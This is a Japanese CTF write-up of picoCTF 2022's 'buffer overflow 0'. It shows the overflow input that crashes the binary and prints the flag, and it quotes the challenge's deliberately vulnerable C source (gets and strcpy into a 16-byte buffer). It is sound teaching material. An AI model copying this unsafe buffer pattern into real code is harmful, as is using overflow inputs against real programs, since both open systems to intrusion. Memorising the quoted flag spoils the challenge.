bof入門

picoCTF 2022の「buffer overflow 0」。bofの一番簡単な問題。

今回も早めにフラグが得られたので、なぜその入力で得られたのか?ソースを読み解く。

概要

プログラムの動きは、単純に入力を受け取るだけ:

shoebill@pwner:~/pico$ ./conn.sh 
Input: test
The program will exit now

32ビットのプログラムであり、canaryは無し:

shoebill@pwner:~/pico$ file vuln
vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=08fef67fdcc0d93019a26a2f8f97279dee848031, for GNU/Linux 3.2.0, not stripped

shoebill@pwner:~/pico$ checksec ./vuln
[*] '/home/shoebill/pico/vuln'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

フラグが得られた入力

ソースをさらっと読んだ感じ、バッファのサイズが100とあったので、"a"を100文字と"b"を何文字か合わせて入力したらフラグが出てきた:

shoebill@pwner:~/pico$ ./conn.sh 
Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbb
picoCTF{ov3rfl0ws_ar3nt_that_bad_34d6b87f}

なぜこれでフラグが得られたのか?

まずどの部分でフラグを出力してるか?

sigsegv_handlerなるものを定義している点に注目。SIGSEV起こさせればフラグが出力されるとわかる:

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}
...
int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  ...
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler

bof脆弱性

結論から言うと、「16バイトのバッファに対して100バイト入力できてしまう」という脆弱性

あと使ってはいけないgets関数を使っている。

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}
...
int main(int argc, char **argv){
  ...
  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

vuln()関数では引数つまりこちらが入力する値を、buf2[16]にコピーする。一方、main関数において、そこに100バイト分与えられてしまう(buf1[100]という定義より)。